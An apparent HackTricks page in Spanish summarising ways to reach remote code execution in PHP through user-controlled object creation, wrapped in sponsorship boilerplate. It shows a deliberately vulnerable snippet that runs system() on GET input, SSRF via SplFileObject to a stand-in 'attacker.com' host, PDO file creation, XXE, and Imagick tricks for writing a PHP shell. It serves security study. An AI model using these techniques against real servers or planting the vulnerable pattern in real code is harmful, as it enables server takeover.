# PHP - RCE abusando de la creación de objetos: new $\_GET\["a"]\($\_GET\["b"])
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Este es básicamente un resumen de [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
## Introducción
La creación de nuevos objetos arbitrarios, como `new $_GET["a"]($_GET["a"])`, puede llevar a la Ejecución Remota de Código (RCE), como se detalla en un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca varias estrategias para lograr RCE.
## RCE a través de Clases Personalizadas o Carga Automática
La sintaxis `new $a($b)` se utiliza para instanciar un objeto donde **`$a`** representa el nombre de la clase y **`$b`** es el primer argumento pasado al constructor. Estas variables pueden provenir de entradas de usuario como GET/POST, donde pueden ser cadenas o arreglos, o de JSON, donde podrían presentarse como otros tipos.
Considera el fragmento de código a continuación:
```php
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
```
En este caso, establecer `$a` como `App` o `App2` y `$b` como un comando del sistema (por ejemplo, `uname -a`) resulta en la ejecución de ese comando.
Las **funciones de carga automática** pueden ser explotadas si no hay clases directamente accesibles. Estas funciones cargan automáticamente clases desde archivos cuando son necesarias y se definen usando `spl_autoload_register` o `__autoload`:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
```
El comportamiento del auto-cargado varía con las versiones de PHP, ofreciendo diferentes posibilidades de RCE.
## RCE a través de Clases Integradas
La falta de clases personalizadas o auto-cargadores puede ser suficiente para RCE utilizando **clases integradas de PHP**. El número de estas clases varía entre 100 y 200, según la versión de PHP y las extensiones. Se pueden listar utilizando `get_declared_classes()`.
Los constructores de interés pueden ser identificados a través de la API de reflexión, como se muestra en el siguiente ejemplo y en el enlace [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**RCE a través de métodos específicos incluye:**
### **SSRF + Deserialización de Phar**
La clase `SplFileObject` permite SSRF a través de su constructor, permitiendo conexiones a cualquier URL:
```php
new SplFileObject('http://attacker.com/');
```
SSRF puede llevar a ataques de deserialización en versiones de PHP anteriores a 8.0 utilizando el protocolo Phar.
### **Explotando PDOs**
El constructor de la clase PDO permite conexiones a bases de datos a través de cadenas DSN, lo que potencialmente permite la creación de archivos u otras interacciones:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Las versiones de PHP hasta la 5.3.22 y 5.4.12 eran susceptibles a ataques XXE a través de los constructores `SoapClient` y `SimpleXMLElement`, dependiendo de la versión de libxml2.
## RCE a través de la Extensión Imagick
En el análisis de las **dependencias de un proyecto**, se descubrió que **Imagick** podría ser aprovechado para la **ejecución de comandos** mediante la creación de nuevos objetos. Esto presenta una oportunidad para explotar vulnerabilidades.
### Analizador VID
Se identificó la capacidad del analizador VID para escribir contenido en cualquier ruta especificada en el sistema de archivos. Esto podría llevar a la colocación de una shell de PHP en un directorio accesible a través de la web, logrando la Ejecución de Código Remoto (RCE).
#### Analizador VID + Carga de Archivos
Se observa que PHP almacena temporalmente los archivos cargados en `/tmp/phpXXXXXX`. El analizador VID en Imagick, utilizando el protocolo **msl**, puede manejar comodines en las rutas de archivos, facilitando la transferencia del archivo temporal a una ubicación elegida. Este método ofrece un enfoque adicional para lograr la escritura de archivos arbitrarios dentro del sistema de archivos.
### PHP Crash + Fuerza Bruta
Un método descrito en el [**informe original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) implica cargar archivos que provoquen un fallo del servidor antes de su eliminación. Al hacer fuerza bruta en el nombre del archivo temporal, es posible que Imagick ejecute código PHP arbitrario. Sin embargo, esta técnica se encontró efectiva solo en una versión desactualizada de ImageMagick.
## Referencias
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).